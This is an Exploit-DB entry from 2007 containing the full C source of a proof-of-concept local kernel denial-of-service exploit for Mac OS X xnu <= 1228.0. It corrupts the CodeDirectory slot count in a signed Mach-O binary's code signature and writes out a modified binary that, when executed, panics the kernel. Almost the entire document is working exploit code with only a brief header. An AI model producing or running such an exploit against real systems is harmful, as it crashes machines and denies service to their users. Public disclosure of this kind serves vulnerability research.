Exploit-DB #4723
Description: Apple Mac OSX xnu 1228.0 - 'super_blob' Local kernel Denial of Service (PoC)
Type: dos
Platform: osx
Date: 2007-12-12
Author: mu-b

Exploit:
/* xnu-superblob-dos.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.0 local kernel DoS POC
 * by mu-b - Mon 10 Dec 2007
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *
 * assert trip or bcopy (NULL, ....) in cs_validate_page by causing
 * hashes () to return NULL (there are many ways to do this!).
 *                                       (bsd/kern/ubc_subr.c)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <arpa/inet.h>
#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define MAX_PATH_LEN                128

/* change this value if no panic */
#define CSLOTS_DIFF                 0x69696969

#define CSSLOT_CODEDIRECTORY        0x0
#define CSMAGIC_CODEDIRECTORY       0xfade0c02  /* CodeDirectory blob */
#define CSMAGIC_EMBEDDED_SIGNATURE  0xfade0cc0  /* embedded form of signature data */

/* bsd/kern/ubc_subr.c */
struct blob_index {
  unsigned int type;
  unsigned int offset;
};

struct super_blob {
  unsigned int magic;
  unsigned int length;
  unsigned int count;
  struct blob_index index[];
};

struct code_directory {
  unsigned int magic;
  unsigned int length;
  unsigned int version;
  unsigned int flags;
  unsigned int hashOffset;
  unsigned int identOffset;
  unsigned int nSpecialSlots;
  unsigned int nCodeSlots;      /* number of ordinary (code) hash slots */
  unsigned int codeLimit;
  unsigned char hashSize;
  unsigned char hashType;
  unsigned char spare1;
  unsigned char pageSize;
  unsigned int spare2;
};

static void *
xmalloc (int num_bytes)
{
  char *buf;

  buf = malloc (num_bytes);
  if (buf == NULL)
    {
      fprintf (stderr, "malloc (): out of memory allocating %d-bytes!\n", num_bytes);
      exit (EXIT_FAILURE);
    }

  return (buf);
}

int
main (int argc, char ** argv)
{
  char fnbuf[MAX_PATH_LEN], *ptr, *cur, *end;
  int fd, wfd, found, size;
  struct stat fbuf;

  printf ("Apple MACOS X xnu <= 1228.0 local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <signed macho-o binary>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  if ((fd = open (argv[1], O_RDONLY)) == -1)
    {
      perror ("open ()");
      exit (EXIT_FAILURE);
    }

  snprintf (fnbuf, sizeof fnbuf, "%s-pown", argv[1]);

  if ((wfd = open (fnbuf, O_RDWR | O_CREAT)) == -1)
    {
      perror ("open ()");
      exit (EXIT_FAILURE);
    }

  if (fstat (fd, &fbuf) < 0)
    {
      perror ("fstat ()");
      exit (EXIT_FAILURE);
    }

  size = fbuf.st_size;
  ptr = xmalloc (sizeof (char) * size);
  end = ptr + size;

  if (read (fd, ptr, size) < size)
    {
      unlink (fnbuf);

      perror ("write ()");
      exit (EXIT_FAILURE);
    }

  close (fd);

  for (cur = ptr, found = 0;
       cur + sizeof (struct super_blob) < end;
       cur += sizeof (unsigned long))
    {
      struct super_blob *blob;
      int i, magic;

      blob = (struct super_blob *) cur;
      magic = ntohl (blob->magic);

      if (magic == CSMAGIC_EMBEDDED_SIGNATURE)
        {
          for (i = 0; i < ntohl (blob->count); i++)
            {
              int type;
              
              type = ntohl (blob->index[i].type);
              if (type == CSSLOT_CODEDIRECTORY)
                {
                  struct code_directory *code;
                  int offset;
                  
                  offset = ntohl (blob->index[i].offset);
                  code = (struct code_directory *) (cur + offset);
                  magic = ntohl (code->magic);
                  
                  if (magic == CSMAGIC_CODEDIRECTORY);
                    {
                      printf ("* found at offset @0x%08X\n", (char *) code - ptr);
                      code->nCodeSlots = htonl (CSLOTS_DIFF);
                      found = 1;
                    }
                }
            }
        }
    }

  if (!found)
    {
      unlink (fnbuf);

      fprintf (stderr, "* ARGH! hueristic didn't find our target!\n");
      exit (EXIT_FAILURE);
    }

  write (wfd, ptr, size);
  fchmod(wfd, fbuf.st_mode);
  close (wfd);

  free (ptr);
  fprintf (stdout, "* done\nexecute ./%s at your own risk!$%%!\n", fnbuf);

  return (EXIT_SUCCESS);
}

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